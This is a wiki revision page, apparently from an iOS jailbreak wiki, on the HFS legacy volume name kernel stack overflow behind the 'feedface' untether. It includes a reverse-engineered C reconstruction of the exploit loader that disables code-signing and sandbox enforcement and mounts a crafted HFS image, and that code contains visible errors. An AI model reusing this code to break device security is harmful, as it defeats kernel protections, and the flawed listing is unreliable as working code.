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Difference between revisions of "HFS Legacy Volume Name Stack Buffer Overflow"
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The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]]. |
The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]]. |
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| + | == Exploiting the Kernel Bug == |
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| + | |||
| + | This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb |
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| + | to take control of PC register and do basically whatever you want, in that case, they used a function called |
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| + | real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what |
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| + | the untether looked like. |
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| + | |||
| + | int mnt_our_hfs() |
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| + | { |
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| + | struct hfs_mount_args i; |
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| + | bzero(i, sizeof(i)); |
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| + | i.fspec = (int)"/dev/vn0"; |
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| + | i.hfs_uid = args.hfs_gid = 99; |
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| + | i.hfs_mask = 0x1C5; |
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| + | puts("[+]Triggering the kernel exploit"); |
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| + | mount("hfs", "mnt/", MNT_RDONLY, i); |
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| + | return puts("[+] Payload was successful"); |
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| + | } |
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| + | |||
| + | int prep_vn() |
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| + | { |
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| + | vn_ioctl vn; |
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| + | int i = open("/dev/vn0", O_RDONLY, 0); |
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| + | if(i < 0){ |
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| + | puts("[-]Can't open /dev/vn0"); |
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| + | exit(1); |
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| + | } |
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| + | ioctl(i, VNIOCDETACH, &vn); |
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| + | vn.vn_file = (int)"/usr/lib/hfs_mdb"; |
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| + | vn.vn_control = vncontrol_readwrite_io_e; |
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| + | if(ioctl(i, VNIOCATTACH, &vn) < 0) |
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| + | { |
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| + | puts("[-]Coudn't attach to /dev/vn0")'' |
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| + | close(i); |
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| + | exit(1); |
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| + | } |
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| + | return close(1); |
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| + | } |
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| + | int main(int argc, char const *argv[]) |
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| + | { |
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| + | int result; |
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| + | struct stat i; |
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| + | uint32_t zero = 0, one = 1; |
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| + | sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t)); |
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| + | sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t)) |
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| + | prep_vn(); |
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| + | i.st_uid = 0; |
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| + | i.st_gid = 0; |
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| + | i.st_rdev = 0; |
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| + | i.st_atimespec.tv_nsec = 0; |
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| + | i.st_atimespec.tv_sec = 0; |
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| + | i.st_mtimespec.tv_nsec = 0; |
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| + | i.st_mtimespec.tv_sec = 0; |
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| + | i.st_ctimespec.tv_sec = 0; |
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| + | i.st_dev = (dev_t)"/dev/vn0"; |
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| + | i.st_ino = 99; |
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| + | i.st_uid = 453; |
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| + | puts("[+]Trigger kernel exploit"); |
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| + | mnt_our_hfs(); |
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| + | sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t)); |
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| + | patch_kernel(); |
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| + | |||
| + | return 0; |
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| + | } |
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== Credit == |
== Credit == |
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[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]] |
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]] |
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Revision as of 14:12, 28 March 2015
The HFS Legacy Volume Name Stack Buffer Overflow is a kernel vulnerability used to achieve an untethered jailbreak. Its exploit implementation, dubbed "feedface,"[1] was used in conjunction with limera1n's bootrom exploit or the usb_control_msg(0xA1, 1) Exploit in greenpois0n.
Exploiting the Kernel Bug
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb to take control of PC register and do basically whatever you want, in that case, they used a function called real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what the untether looked like.
int mnt_our_hfs()
{
struct hfs_mount_args i; bzero(i, sizeof(i)); i.fspec = (int)"/dev/vn0"; i.hfs_uid = args.hfs_gid = 99; i.hfs_mask = 0x1C5; puts("[+]Triggering the kernel exploit"); mount("hfs", "mnt/", MNT_RDONLY, i); return puts("[+] Payload was successful");
}
int prep_vn()
{
vn_ioctl vn; int i = open("/dev/vn0", O_RDONLY, 0); if(i < 0){ puts("[-]Can't open /dev/vn0"); exit(1); } ioctl(i, VNIOCDETACH, &vn); vn.vn_file = (int)"/usr/lib/hfs_mdb"; vn.vn_control = vncontrol_readwrite_io_e; if(ioctl(i, VNIOCATTACH, &vn) < 0) { puts("[-]Coudn't attach to /dev/vn0") close(i); exit(1); }
return close(1);
}
int main(int argc, char const *argv[])
{
int result; struct stat i; uint32_t zero = 0, one = 1; sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t)); sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t)) prep_vn(); i.st_uid = 0; i.st_gid = 0; i.st_rdev = 0; i.st_atimespec.tv_nsec = 0; i.st_atimespec.tv_sec = 0; i.st_mtimespec.tv_nsec = 0; i.st_mtimespec.tv_sec = 0; i.st_ctimespec.tv_sec = 0; i.st_dev = (dev_t)"/dev/vn0"; i.st_ino = 99; i.st_uid = 453; puts("[+]Trigger kernel exploit"); mnt_our_hfs(); sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t)); patch_kernel();
return 0;
}
Credit
Sources for information
- TwitLonger
- http://pastie.org/2060071 (from a tweet by jan0)
- BlackHat Presentation by I0n1c (starting at slide 24)